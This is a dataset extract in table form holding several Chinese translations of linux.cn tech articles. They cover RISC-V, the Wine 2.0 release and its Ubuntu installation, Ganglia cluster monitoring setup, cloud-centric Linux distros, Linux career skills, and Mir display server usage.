id
int64 2.05k
16.6k
| title
stringlengths 5
75
| fromurl
stringlengths 19
185
| date
timestamp[s] | tags
sequencelengths 0
11
| permalink
stringlengths 20
37
| content
stringlengths 342
82.2k
| fromurl_status
int64 200
526
⌀ | status_msg
stringclasses 339
values | from_content
stringlengths 0
229k
⌀ |
---|---|---|---|---|---|---|---|---|---|
8,159 | RISC-V,微处理器中的 Linux :它会开启一个开源硬件的文艺复兴么? | https://www.darrentoback.com/can-risc-v-linux-of-microprocessors-start-an-open-hardware-renaissance | 2017-01-30T12:10:00 | [
"CPU",
"RISC",
"RISC-V",
"开放硬件"
] | https://linux.cn/article-8159-1.html | 
我与许多人分享过一个愿景,我们很快就能使用由开源硬件([OSH](https://en.wikipedia.org/wiki/Open-source_hardware))和开源软件所驱动的现代而强大的设备。
开放硬件是那种有完整的文档,并且可以根据你的需求自由使用、研究、修改和复制的设备。它从原理图到 PCB 布局的所有内容全都是公开的,包括驱动硬件的软件。近年来有所进步,有更多的硬件被开放了,但是我们的 PC 和其它设备中的微处理器却被限制在了桌面端的以 x86 为主导的、封闭的指令集架构([ISA](https://en.wikipedia.org/wiki/Comparison_of_instruction_set_architectures)),或者智能手机/平板设备上的 ARM 变体。这两个指令集架构都是闭源的,并且不能用于开放设备。此外,许多广泛使用的 ARM 实现,比如 A9 或 Snapdragon 在这些已经专有的指令集架构上添加了进一步的专有层。
[RISC-V](https://en.wikipedia.org/wiki/RISC-V) 是不同的。在加州大学伯克利分校的研究人员于 2010 年推出的 RISC-V(发音 risk-five)是根据同样的初始 [RISC](https://en.wikipedia.org/wiki/Reduced_instruction_set_computing)(<ruby> 精简指令集计算 <rp> ( </rp> <rt> Reduced Instruction Set Computing </rt> <rp> ) </rp></ruby>) CPU 设计构建的,其基础是其它熟悉的指令集架构,如 ARM、MIPS、PowerPC 和 SPARC,但目的是开放且不受专利保护(注意:目前,RISC-V 规范仅供私人或教育用途使用,计划在将来完全开放)。RISC 设计策略与 x86 系列的复杂指令集计算(CISC)设计相反。
虽然 RISC-V 不是现有唯一的开放指令集架构,但它是唯一一个极速推进的。指导指令集架构的开发和采用的 RISC-V 基金会有一些相当大的捐赠者,如 Oracle、Western Digital、HP、Google、IBM 和 Nvidia。我可以看到名单上缺少的几个著名的芯片制造商。似乎大的玩家们已经意识到,与软件一样,硬件会在开放下发展得更快更好。而且,任何人使用它你都不必付费。因为开发中的困难和成本,像这样的项目并没有被更快取得成功。现在,一个公开的结果是大的公司正在跟进,开发资金正在源源而来。
RISC-V 在学术界也有很多支持。从在伯克利的孵化到在世界范围内超过 35 个大学项目协助其发展,在那里不缺乏聪明的头脑为这个项目工作。
在其背后也有进展。在软件方面,人们正在将程序移植到 RISC-V 上,让它启动起来。Fedora 已经移植了成千上万的程序 - 下面是 [Fedora/RISC-V](https://fedoraproject.org/wiki/Architectures/RISC-V) 在 QEMU 中启动:

*向 Richard WM Jones 做出这么棒的动画致敬*
在硬件方面,人们正在制造开发板。HiFive1 是一个成功众筹的项目,它是来自 SiFive 的一块 Arduino 板,由他们的 FE310 SoC 驱动,这是一块 32 位的 RISC-V 芯片,运行频率为 320+ MHz。 它会在 2 月发货,你可以[在这里](https://www.crowdsupply.com/sifive/hifive1/)预订一个,价格为 $59。

这一切听起来很棒 - 我希望他们能够交付,因为我们都将从中受益非浅。如果可以,请支持这个项目。告诉人们这个东西。购买一块 HiFive1,看看它上面运行了什么。我在你的未来看到了这些芯片。
---
via: <https://www.darrentoback.com/can-risc-v-linux-of-microprocessors-start-an-open-hardware-renaissance>
作者:[dmt](https://www.darrentoback.com/about-me) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 404 | null |
|
8,160 | Wine 2.0 发布!在 Linux 中运行 Microsoft Office 2013 吧 | http://www.omgubuntu.co.uk/2017/01/wine-2-0-released-supports-microsoft-office-2013 | 2017-01-30T12:46:00 | [
"Wine"
] | https://linux.cn/article-8160-1.html | 久负盛名的、可以让你在 Linux 上运行 Windows 应用的 Wine ,经过了一年多的开发,终于发布了一个新的里程碑意义的版本: 2.0。

Wine 2.0 带来了许多变化,包括 Unicode 9.0 支持、更好的 HiDPI 缩放、改进了剪贴板处理、更新了 Gecko 引擎、游戏杆按钮映射及力反馈效果调整等等。
对于游戏玩家来说,Wine 2.0 修改和改善了大量的 Direct3D 10/11 的功能,包括更多的着色指令、 sRGB 读写支持、矩阵纹理等等,此外还调整了 DirectX 支持。在音频方面,有 GStreamer 1.0 支持、DirectSound 下混为立体声等。
其它亮点还有,支持微软 Office 2013,以及在 macOS 上运行 64 位应用的能力。
具体可以参考其[发布公告](https://www.winehq.org/announce/2.0)。
### 在 Ubuntu 上安装 Wine 2.0
现在可以从 [WineHQ 官网](https://www.winehq.org/download)下载 Wine 2.0 的源代码了,你可以通过手工编译来安装。
如果你不喜欢编译的乐趣的话,你还可以[下载](https://launchpad.net/~wine/+archive/ubuntu/wine-builds)用于 Ubuntu 的官方 PPA。
首先你需要添加 PPA 仓库:
```
sudo add-apt-repository ppa:wine/wine-builds
```
将仓库增加到你的软件源之后,你就可以安装(或升级)到最新的 2.0 版本了(参见[此处](https://wiki.winehq.org/Ubuntu)):
```
sudo apt-get update && sudo apt-get install winehq-devel
```
| 301 | Moved Permanently | null |
8,161 | 使用 Ganglia 对 Linux 网格和集群服务器进行实时监控 | http://www.tecmint.com/install-configure-ganglia-monitoring-centos-linux/ | 2017-01-31T07:57:00 | [
"监控",
"Ganglia"
] | https://linux.cn/article-8161-1.html | 从系统管理员接手服务器和主机管理以来,像应用监控这样的工具就成了他们的好帮手。其中比较有名的有 [Nagios](/article-5741-1.html)、 [Zabbix](http://www.tecmint.com/install-and-configure-zabbix-monitoring-on-debian-centos-rhel/)、 [Icinga](http://www.tecmint.com/install-icinga-in-centos-7/) 和 Centreon。以上这些是重量级的监控工具,让一个新手管理员来设置,并使用其中的高级特性是有些困难的。
本文将向你介绍 Ganglia,它是一个易于扩展的监控系统。使用它可以实时查看 Linux 服务器和集群(图形化展示)中的各项性能指标。

**Ganglia** 能够让你以**集群**(按服务器组)和**网格**(按地理位置)的方式更好地组织服务器。
这样,我们可以创建一个包含所有远程主机的网格,然后将那些机器按照其它标准分组成小的集合。
此外, Ganglia 的 web 页面对移动设备进行过优化,也允许你导出 `csv` 和 `.json` 格式的数据。
我们的测试环境包括一个安装 Ganglia 的主节点服务器 CentOS 7 (IP 地址 192.168.0.29),和一个作为被监控端的 Ubuntu 14.04 主机(192.168.0.32)。我们将通过 Ganglia 的 Web 页面来监控这台 Ubuntu 主机。
下面的例子可以给大家提供参考,CentOS7 作为主节点,Ubuntu 作为被监控对象。
### 安装和配置 Ganglia
请遵循以下步骤,在主节点服务器安装监控工具。
1、 启用 [EPEL 仓库](/article-2324-1.html) ,然后安装 Ganglia 和相关工具:
```
# yum update && yum install epel-release
# yum install ganglia rrdtool ganglia-gmetad ganglia-gmond ganglia-web
```
在上面这步随 Ganglia 将安装一些应用,它们的功能如下:
* `rrdtool`,Round-Robin 数据库,它是一个储存并图形化显示随着时间变化的数据的工具;
* `ganglia-gmetad` 一个守护进程,用来收集被监控主机的数据。被监控主机与主节点主机都要安装 Ganglia-gmond(监控守护进程本身);
* `ganglia-web` 提供 Web 前端,用于显示监控系统的历史数据和图形。 2、 使用 Apache 提供的基本认证功能,为 Ganglia Web 界面(`/usr/share/ganglia`)配置身份认证。
如果你想了解更多高级安全机制,请参阅 Apache 文档的 [授权与认证](http://httpd.apache.org/docs/current/howto/auth.html)部分。
为完成这个目标,我们需要创建一个用户名并设定一个密码,以访问被 Apache 保护的资源。在本例中,我们先来创建一个叫 `adminganglia` 的用户名,然后给它分配一个密码,它将被储存在 `/etc/httpd/auth.basic`(可以随意选择另一个目录 和/或 文件名, 只要 Apache 对此有读取权限就可以。)
```
# htpasswd -c /etc/httpd/auth.basic adminganglia
```
给 adminganglia 输入两次密码完成密码设置。
3、 修改配置文件 `/etc/httpd/conf.d/ganglia.conf`:
```
Alias /ganglia /usr/share/ganglia
<Location /ganglia>
AuthType basic
AuthName "Ganglia web UI"
AuthBasicProvider file
AuthUserFile "/etc/httpd/auth.basic"
Require user adminganglia
</Location>
```
4、 编辑 `/etc/ganglia/gmetad.conf`:
首先,使用 `gridname` 指令来为网格设置一个描述性名称。
```
gridname "Home office"
```
然后,使用 `data_source` 指令,后面跟集群名(服务器组)、轮询时间间隔(秒)、主节点主机和被监控节点的 IP 地址:
```
data_source "Labs" 60 192.168.0.29:8649 # 主节点
data_source "Labs" 60 192.168.0.32 # 被监控节点
```
5、 编辑 `/etc/ganglia/gmond.conf`。
a) 确保集群的配置类似下面。
```
cluster {
name = "Labs" # gmetad.conf 中的 data_source 指令的名字
owner = "unspecified"
latlong = "unspecified"
url = "unspecified"
}
```
b) 在 `udp_send_chanel` 中,注释掉 `mcast_join`:
```
udp_send_channel {
# mcast_join = 239.2.11.71
host = localhost
port = 8649
ttl = 1
}
```
c) 在 `udp_recv_channel` 中,注释掉 `mcast_join` 和 `bind` 部分:
```
udp_recv_channel {
# mcast_join = 239.2.11.71 ## comment out
port = 8649
# bind = 239.2.11.71 ## comment out
}
```
保存并退出。
6、打开 8649/udp 端口,使用 SELinux 确保 php 脚本(通过 Apache 运行)能够连接到网络:
```
# firewall-cmd --add-port=8649/udp
# firewall-cmd --add-port=8649/udp --permanent
# setsebool -P httpd_can_network_connect 1
```
7、重启 Apache、gmetad、gmond,并确保它们启用了“开机启动”。
```
# systemctl restart httpd gmetad gmond
# systemctl enable httpd gmetad httpd
```
至此,我们现在能够打开 Ganglia 的 Web 页面 `http://192.168.0.29/ganglia` 并用步骤 2 中设置的凭证登录。
[][5]
*Gangila Web 页面*
8、 在 **Ubuntu** 主机上,只需安装 Ganglia-monitor,等同于 CentOS 上的 ganglia-gmond:
```
$ sudo aptitude update && aptitude install ganglia-monitor
```
9、 编辑被监控主机的 `/etc/ganglia/gmond.conf` 文件。与主节点主机上是相同的文件,除了被注释掉的 `cluster`, `udp_send_channel` , `udp_recv_channel` 这里不应被注释:
```
cluster {
name = "Labs" # The name in the data_source directive in gmetad.conf
owner = "unspecified"
latlong = "unspecified"
url = "unspecified"
}
udp_send_channel {
mcast_join = 239.2.11.71
host = localhost
port = 8649
ttl = 1
}
udp_recv_channel {
mcast_join = 239.2.11.71 ## comment out
port = 8649
bind = 239.2.11.71 ## comment out
}
```
之后重启服务。
```
$ sudo service ganglia-monitor restart
```
10、 刷新页面,你将在 Home office grid / Labs cluster 中看到两台主机的各种统计及图形化的展示(用下拉菜单选择集群,本例中为 Labs):

*Ganglia 中 Home office 网格报告*
使用菜单按钮(如上指出的),你可以获取到每台服务器和集群的信息。还可以使用 <ruby> 对比主机</ruby>Compare Hosts选项卡来比较集群中所有服务器的状态。
可以使用正则表达式选择一组服务器,立刻就可以看到它们性能的对比:

*Ganglia 服务器信息*
我最喜欢的一个特点是对移动端有友好的总结界面,可以通过 Mobile 选项来访问。选择你感兴趣的集群,然后选中一个主机。

*Ganglia 移动端总结截图*
### 总结
本篇文章向大家介绍了 Ganglia,它是一个功能强大、扩展性很好的监控工具,主要用来监控集群和网格。它可以随意安装,便捷的组合各种功能(你甚至可以尝试一下[官方网站](http://ganglia.info/)提供的 Demo)。
此时,你可能会发现许多知名的 IT 或非 IT 的企业在使用 Ganglia。除了我们在文章中提及的之外,还有很多理由这样做,其中易用性,统计的图形化(在名字旁附上脸部照片更清晰,不是吗)可能是最重要的原因。
但是请不要拘泥于本篇文章,尝试一下自己去做。如果你有任何问题,欢迎给我留言。
---
via: <http://www.tecmint.com/install-configure-ganglia-monitoring-centos-linux/>
作者:[Gabriel Cánepa](http://www.tecmint.com/author/gacanepa/) 译者:[ivo-wang](https://github.com/ivo-wang) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,162 | 三款极棒的专注于云端的 Linux 发行版 | https://itsfoss.com/cloud-focused-linux-distros/ | 2017-01-31T08:44:00 | [
"Chrome OS",
"云端 OS"
] | https://linux.cn/article-8162-1.html | 
>
> 概述:我们列举几款以云端为中心的 Linux 发行版,它们被视为真正能替代 Chrome OS 的 Linux 发行版。
>
>
>
世界正在向云端服务转变,而且我们都知道 Chrome OS 倍受人们喜爱。嗯,它确实值得赞许。它超级快、轻盈、省电、简约、设计精美而且充分发挥了当今科技所能提供的云端潜能。
虽然 [Chrome OS](https://en.wikipedia.org/wiki/Chrome_OS) 只能在谷歌的硬件上使用,但是,在你的台式机或者笔记本上,还是有其他的方法来体验云计算的潜能。
正如我重复所说的,在 Linux 领域中,人们总能参与其中,比如那些看起来像 Windows 或者 Mac OS 的Linux 发行版。Linux 汇集了分享,爱和计算体验的最前沿。让我们马上看看这份列表吧!
### 1、 Cub Linux

这不是 Chrome OS ,上述图片描绘的是 Cub Linux 的桌面。不清楚我说的什么?
Cub Linux 对于 Linux 用户来说不是什么新鲜事,但是如果你确实不知道的话,(我来解释下,)Cub Linux 灵感来源于主流的 Chrome OS ,是一款专注于网页的 Linux 发行版。从母亲 Linux 来讲,它也是 Chrome OS 的开源兄弟。
Chrome OS 内置了 Chrome 浏览器。不久之前,一个名为 [Chromixium OS](https://itsfoss.com/chromixiumos-released/) 的项目启动,旨在用 Chromium 浏览器取代 Chrome 浏览器,来提供与 Chrome OS 同样的体验。因为一些法律上的争论,项目名字后来改为 Cub Linux (取自 **C**hromium 和 **Ub**untu 两个词)。

撇开历史不说,如名字提示的那样,Cub Linux 基于 Ubuntu ,使用了轻量的 Openbox 桌面环境。定制的桌面来给人以 Chrome OS 的印象,而且看起来很整洁。
在应用部分,你能安装 Chrome 网上商店的网页应用和所有的 Ubuntu 应用。对,有 Chrome OS 的精美应用,你仍能体会到 Ubuntu 的好处。
就表现而言,这操作系统相当快,这多亏了它自身的 Openbox 桌面环境。基于 Ubuntu ,Cub Linux 的稳定性是毋庸置疑的。这桌面流畅的动画和漂亮的用户界面,对于眼睛是一种享受。
我向花费大部分时间在浏览器,时不时做些家务的人推荐 Cub Linux 。嗯,一个浏览器就是你所需要的全部,而且,一个浏览器就可以让你得到全部。
### 2、Peppermint OS
不少人把目光投向 Linux 因为他们想要一个良好的使用计算机的体验。一些人是真的不喜欢防病毒软件、磁盘整理程序、清理工具的打扰,他们只是想要一个操作系统而不是个孩子。我必须说 Peppermint OS 真的不会打扰用户。[Peppermint OS](https://peppermintos.com/) 的开发者在理解用户需求上花费了大量的时间精力。

系统默认内置了很少的软件。从每一个软件类别挑选的一些应用内置进去,这种传统的想法没有被开发者所采纳,这是为了良好的用户体验。个性化定制电脑的权力已经移交给用户。顺便说一句,当能用网页替代几乎大部分应用时,我们真的需要安装那么多的应用吗?
**Ice**
Ice 是一个有用的小工具,它能将你最喜爱和经常用到的网页转化成桌面应用,这样你就能直接从你的桌面或菜单启动。这就是我们所说的特定页浏览器。

喜欢 facebook ?想要快速启动,为什么不弄一个 facebook 的网页应用在你的桌面上?当人们抱怨 Linux 上不知如何正确安装 Google Drive 应用时,Ice 能让你在一次单击就能访问
Peppermint OS 7 是基于 Ubuntu 16.04 。它不仅有流畅、稳固的表现,而且反应很快。一个深度定制的 LXDE 将会是你的首页。我所说的定制是兼顾了华丽的表现和视觉吸引力。
Peppermint OS 介于云操作系统和本地操作系统。虽然这个操作系统的框架被设计来支持快速的云端应用,但是本地的 Ubuntu 应用运行得也不错。如果你是像我那样,想要一个能在在线和离线之间保持平衡的操作系统的话,[Peppermint OS](https://peppermintos.com/) 很适合你。
### 3、Apricity OS
[Apricity OS](https://apricityos.com/) 在这里是极具美感的 Linux 发行版之一。它就像是 Linux 里的蒙娜丽莎。但是,不止外观优美,它还有更多优点。

将 [Apricity OS](https://itsfoss.com/apricity-os/) 加入这名单中的基本理由是它的简洁。当桌面操作系统设计变得越来越乱、堆砌元素时(我不只是在讨论非 Linux 操作系统),Apricity 除去所有杂项,简化最基本的人机交互。在这,Gnome 桌面环境被定制得非常优美。他们使其变得更简单。
预装的软件真的很少。几乎所有的 Linux 发行版都预装一样的预装软件。但是 Apricity OS 有一个全新的软件集合。提供了 Chrome 而不是 Firefox 。我真的很期待这点。我是说为什么不在外面告诉我们改变了什么?
Apricity OS 也展现了我们在上一段讨论的 Ice 工具。但不是 Firefox ,而是将 Chrome 浏览器用在网页-桌面一体化里。Apricity OS 默认内置了 Numix Circle 图标。每一次你添加一个流行的网页应用,那就会有一个优美的图标放在你的底栏上。

看见我所说的了吗?
Apricity OS 基于 Arch Linux 。(所以任何想要快速上手 Arch ,想要优美发行版的人,来[这里](https://apricityos.com/)下载 Apricity 的 ISO 文件吧。) Apricity 完全保持了 Arch “选择自由”的原则。在 Ice 上只要花费十分钟,你就能把你所有喜爱的网页应用配置好。
华丽的背景,极简主义的桌面和一大堆的功能。这些特性使得 Apricity OS 在建立一个很棒的云端系统方面成为一个极佳选择。在 Apricity OS 花上 5 分钟,你就会完全爱上它。我是认真的。
到此你就看完了全部,这是给网上居住者的云端 Linux 发行版。给我们一些关于网页应用和本地应用话题的看法。别忘了分享。
---
via: <https://itsfoss.com/cloud-focused-linux-distros/>
作者:[Aquil Roshan](https://itsfoss.com/author/aquil/) 译者:[ypingcn](https://github.com/ypingcn) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 组织编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | **Brief**: We list some **Cloud centric**** Linux distributions** that might be termed as real Linux alternatives to Chrome OS.
The world is moving to cloud-based services and we all know the kind of love that Chrome OS got. Well, it does deserve respect. It’s super fast, light, power-efficient, minimalistic, beautifully designed and utilizes the full potential of cloud that technology permits today.
Although [Chrome OS](https://en.wikipedia.org/wiki/Chrome_OS) is exclusively available only for Google’s hardware, there are other means to experience the potential of cloud computing right on your laptop or desktop.
As I have repeatedly said, there is always something for everybody in the Linux domain, be it [Linux distributions that look like Windows](https://itsfoss.com/windows-like-linux-distributions/) or Mac OS. Linux is all about sharing, love and some really bleeding edge computing experience. Let’s crack this list right away!
## 1. Cub Linux
It is not Chrome OS. But the above image is featuring the desktop of [Cub Linux](https://cublinux.com/). Say what?
Cub Linux is no news for Linux users. But if you already did not know, Cub Linux is the web focused Linux distro that is inspired from mainstream Chrome OS. It is also the open source brother of Chrome OS from mother Linux.
Chrome OS has the Chrome Browser as it’s primary component. Not so long ago, a project by name [Chromixium OS](https://itsfoss.com/chromixiumos-released/) was started to recreate Chrome OS like experience by using the Chromium Browser in place of Chrome Browser. Due to some legal issues, the name was later changed to Cub Linux (Chromium+Ubuntu).
Well, history apart, as the name hints, Cub Linux is based on Ubuntu, features the lightweight Openbox Desktop Environment. The Desktop is customized to give a Chrome OS impression and looks really neat.
In the apps department, you can install the web applications from the Chrome web store and all the Ubuntu software. Yup, with all the snappy apps of the Chrome OS, You’ll still get the Ubuntu goodies.
As far as the performance is concerned, the operating system is super fast thanks to its Openbox Desktop Environment. Based on Ubuntu Linux, the stability of Cub Linux is unquestionable. The desktop itself is a treat to the eyes with all its smooth animations and beautiful UI.
I suggest Cub Linux to anybody who spends most their times on a browser and do some home tasks now and then. Well, a browser is all you need and a browser is exactly what you’ll get.
## 2. Peppermint OS
A good number of people look towards Linux because they want a no-BS computing experience. Some people do not really like the hassle of an anti-virus, a defragmenter, a cleaner etcetera as they want an operating system and not a baby. And I must say Peppermint OS is really good at being no-BS. [Peppermint OS](https://peppermintos.com/) developers have put a good amount of effort in understanding the user requirements and needs.
There is a very small number of selected software included by default. The traditional ideology of including a couple apps from every software category is ditched here for good. The power to customize the computer as per needs has been given to the user. By the way, do we really need to install so many applications when we can get web alternatives for almost all the applications?
**Ice**
Ice is a utile little tool that converts your favorite and most used websites into desktop applications that you can directly launch from your desktop or the menu. It’s what we call a site-specific browser.
Love facebook? Why not make a facebook web app on your desktop for quick launch? While there are people complaining about a decent Google drive application for Linux, Ice allows you to access Drive with just a click. Not just Drive, the functionality of Ice is limited only by your imagination.
Peppermint OS 7 is based on Ubuntu 16.04. It not only provides a smooth, rock solid performance but also a very swift response. A heavily customizes LXDE will be your home screen. And the customization I’m speaking about is driven to achieve both a snappy performance as well as visual appeal.
Peppermint OS hits more of a middle ground in the cloud-native operating system types. Although the skeleton of the OS is designed to support the speedy cloudy apps, the native Ubuntu application play well too. If you are someone like me who wants an OS that is balanced in online-offline capabilities, [Peppermint OS is for you](https://peppermintos.com/).
### 3.Apricity OS
[Apricity OS](https://apricityos.com/) stole the show for being one of the top aesthetically pleasing Linux distros out there. It’s just gorgeous. It’s like the Mona Lisa of the Linux domain. But, there’s more to it than just the looks.
The prime reason [Apricity OS](https://itsfoss.com/apricity-os/) makes this list is because of its simplicity. While OS desktop design is getting chaotic and congested with elements (and I’m not talking only about non-Linux operating systems), Apricity de-clutters everything and simplifies the very basic human-desktop interaction. Gnome desktop environment is customized beautifully here. They made it really simpler.
The pre-installed software list is really small. Almost all Linux distros have the same pre-installed software. But Apricity OS has a completely new set of software. Chrome instead of Firefox. I was really waiting for this. I mean why not give us what’s rocking out there?
Apricity OS also features the Ice tool that we discussed in the last segment. But instead of Firefox, Chrome browser is used in website-desktop integration. Apricity OS has Numix Circle icons by default and everytime you add a popular webapp, there will be a beautiful icon placed on your Dock.
See what I mean?
Apricity OS is based on Arch Linux. (So anybody looking for a quick start with Arch, and a beautiful at that one, download that Apricity ISO [here](https://apricityos.com/)) Apricity fully upholds the Arch principle of freedom of choice. Within just 10 minutes on the Ice, and you’ll have all your favorite webapps set up.
Gorgeous backgrounds, minimalistic desktop and a great functionality. These make Apricity OS a really great choice for setting up an amazing cloud-centric system. It’ll take 5 mins for Apricity OS to make you fall in love with it. I mean it.
There you have it, people. **Cloud-centric Linux distros** for online dwellers. Do give us your take on the webapp-native app topic. Don’t forget to share. |
8,164 | 2017 年成为 Linux 专家的 4 个热门技能 | https://opensource.com/article/17/1/yearbook-4-hot-skills-linux-pros-2017 | 2017-02-01T09:24:00 | [
"Linux",
"专家"
] | /article-8164-1.html |
>
> 你在新的一年里需要刷哪些技能?
>
>
>

成为 Linux 专家的一个问题是“专家”的定义在不断变化。当我进入 Linux 世界的时候,那时认为成为一个 *Linux 专家*,你需要能够编译自己的内核。天啊,如果你想在笔记本电脑上使用 Linux,即便你只是*用户*,你也必须编译一个自定义内核。 如今编译自己的内核通常是浪费时间。这不是说它并不重要,但在开源世界,我们建立在他人成功的基础之上,而 Linux 发行版为我们提供了运行良好的内核。虽然“专家”的定义并不总是那么剧烈变化,但对 IT 专业人员的需求每年都在变化。
下面是 2017 年 Linux 专业人员的四个重要技能:
### 1、 安全
我不是在讨论安全专家或安全顾问。这些职位和服务当然很重要,但是随着联网设备渗透到我们生活的每一个方面,我们需要在我们做出的每一个决定中都具有安全意识。今年,我的妻子和我买了一台洗衣机和一台冰箱,它们都配备了蓝牙。黑客攻入我的漂洗系统的想法可能看起来很傻,但这都是潜在的攻击点。
当激活工作、家庭或我们的口袋中的任何系统时,我们应该考虑它们可能引发的安全问题。而且因为像联网烤面包机这样的物品不太可能及时获得固件升级,我们需要按照普通设备可能遭到破坏的思路来设计其余的系统。相比以前任何时候,我们更需要考虑来自防火墙内的攻击。不要让你的文件服务器被你的搅拌器破坏!
### 2、 DevOps
[DevOps](https://opensource.com/tags/devops) 不再是一个新概念。在过去两三年里,我们一直鼓励员工学习 DevOps,以便他们能够在工作中取得成功。这是个好建议,但这并不意味着我们应该完全依赖自动化工具来完成我们的工作。Chef、Puppet、Ansible、Salt Stack 及类似的工具是美好的,但我们需要了解背后发生了什么,所以当发生一些不可避免的错误,我们应该知道如何解决它。
使用 DevOps 的编程方法来计算,我们仍然需要能够维护、修复和理解在代码层之下运行的系统的人。没有 Linux 专家,云计算将是一个可怕的地方,即使那个云在你自己的机房里。
### 3、 开发
作为系统管理员,20 年来,我从来没有时间学习编程。这听起来可能是一个借口,但这是事实。我所有的开发技能就是基本的脚本编写,以帮助我更快工作。不过,那些日子已经结束了。虽然我们需要在 DevOps 世界中拥有系统管理技能,但我们还需要系统管理员拥有编程技能。
如果你是一个像我一样的老练的系统管理员,你可能已经采用 DevOps 并每天使用它。如果你真的想要胜过他人,你需要学习如何以编程方式解决问题,并且不要认为 Chef 或 Puppet 代码只是配置文件。 每个 IT 专业人员都至少需要掌握编程的概念,因为 DevOps 代码至少在某种程度上抽象了 IT 的每个方面。
### 4、 软技能
通常,我们在准备职业生涯时所考虑的最后一件事是所谓的 *软技能* - 社交和沟通技巧 - 但是它们可能是最有可能决定你走向成功的技能。无论你正在寻找一份新工作,还是试图适应当前职业生涯的变化,软技能是至关重要的。
划分 IT 各个领域的标准是交错的,并且良好的沟通能力使得这些模糊的分野成为一个有利条件,而不是绊脚石。我们正生活在一个开发人员围绕着服务器,而运维团队编写 Ruby 代码来维护服务器农场的世界里。这些都是 IT 中的大胆的新思想,如果人们不能在不同部门间很好的沟通,工作场所将迅速有敌对气氛。此外,IT 人员总是需要与其他业务领域的人员进行有效沟通。而且,现在比以往有更大的需求。
你计划在 2017 年里添加什么到你的技能中?在评论栏中让我们知道吧。
---
作者简介:
Shawn Powers - 自 2009 年起是 CBT Nuggets ([www.cbtnuggets.com](http://www.cbtnuggets.com)) 的一名 IT 训练员,专于 Linux、Chef 及为大规模网络集成多个平台。他在 2016 年 12 月发布了一个在线高级 Linux 认证课程(LPIC-2)。
---
via: <https://opensource.com/article/17/1/yearbook-4-hot-skills-linux-pros-2017>
作者:[Shawn Powers](https://opensource.com/users/shawnpowers) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| null | HTTPSConnectionPool(host='opensource.com', port=443): Read timed out. (read timeout=10) | null |
8,165 | Mir 并不只是 Unity 8 | https://insights.ubuntu.com/2016/11/28/mir-is-not-only-about-unity8/ | 2017-02-01T10:22:00 | [
"Mir",
"Ubuntu",
"Unity 8"
] | https://linux.cn/article-8165-1.html | 
*这是一篇来自 Canonical 的软件工程师 Alan Griffiths 的一篇游客文章。如果你也想投稿,请联系 [[email protected]](mailto:[email protected])*
Mir 是一个计算机显示的管理应用的支持项目。它可以与当前 Ubuntu 桌面(及很多其他桌面)上使用的、我们更熟悉的 X-Window 相比较。我下面会讨论 Mir 的一些动机,但本篇的目的是澄清 Mir 和 Unity 8 之间的关系。
大多数时候你听说 Mir 时都会提到 Unity 8。这并不奇怪,因为 Unity 8 是 Canonical 新的用户界面 shell,用户会一直与它交互。 Mir “只”是使这成为可能。Unity 8 目前用于手机和平板电脑,也可以在 Ubuntu 16.10 桌面上“预览”它。
在这里我想解释一下,可以不用 Unity 8 也可以使用 Mir。要么作为替代 shell,要么作为嵌入式环境的更简单的界面:信息亭,电子标牌等。Mir “抽象层”证明了这一点,它提供了三个重要的元素:
1. libmiral.so - Mir 的稳定接口,提供基本的窗口管理;
2. miral-shell - 一个提供“传统”和“平铺”窗口管理的示例 shell;
3. miral-kiosk - 一个仅提供基本窗口管理的示例“信息亭”。
miral-shell 和 miral-kiosk 示例服务器可从 zesty 的归档文件中获得,Kevin Gunn 已经在“Voices”上写了一篇基于 miral-kiosk 的“信息亭”的概览的[博文](http://voices.canonical.com/kevin.gunn/)。我将在下面给出更多关于使用这些例子的细节,但在[我的“voices”博客](http://voices.canonical.com/alan.griffiths/)上有更多(包括“如何”开发自己的替代 Mir 服务器)。
### 使用 MIR
Mir 是一套编程库,而不是独立的程序。这意味着这需要程序去调用它实现相应的功能。有两种方式去使用 Mir 库:编写程序的时候作为“客户端”,或者在实现 shell 时作为“服务端”。客户端(和 X11 一起)典型是使用工具库,而不是直接使用 Mir(或者 X11)。
GTK、Qt 和 SDL2 中有对 Mir 的支持。当在那些工具库中启用对它的支持时(默认在 Ubuntu 中启用支持),意味着使用这些工具的程序应该“可以工作”于 Mir 中。除此之外还有一个 Xmir:一个运行于 Mir 的 X11 服务器,这允许基于 X 的服务运行在 Mir 服务端上。
但是开始之前 Mir 客户端需要一个相匹配的 Mir 服务端。在最后一个开发周期中,Mir 团队在演示中将 MirAL 作为编写 Mir 服务端的推荐方法,并推出了一个“miral-examples”包。在 Ubuntu 的开发版本 zesty 中,你可以从归档中安装它:
```
$ sudo apt install miral-examples mir-graphics-drivers-desktop qtubuntu-desktop
```
*对于其他平台,你需要自己构建 MirAL(有关详细信息,请参阅 Mir 桌面环境示例)。*
miral-examples 安装后你可以在 Unity 7 中以窗口的方式运行一个 Mir 服务端,然后在里面运行一个客户端(比如 gedit):
```
$ miral-shell&
$ miral-run gedit
```
这会给你一个(非常基础的)“传统” 的桌面窗口管理。另外你可以试下“平铺”窗口管理器:
```
$ miral-shell --window-manager tiling&
$ miral-run qterminal
```
或者(甚至更基础的)信息亭界面:
```
$ miral-kiosk&
$ miral-run 7kaa
```
这些 Mir 服务端都不会提供带有“启动器”、通知等的完整“桌面”。但是它们演示了不使用 Unity 8 使用 Mir 的可能。
### MIR 解决的问题
X-Window 系统过去是,并且现在也是,一种提供了与计算机的交互的非常成功的方式。它提供了广泛的硬件和驱动程序一致的抽象。它支持许多桌面环境和图形用户界面工具包,并可以让它们在大量计算机上一起工作。
但它来自一个与当前电脑使用方式非常不同的时代,现在有一些问题是很难满足的,因为它需要支持老旧的系统。
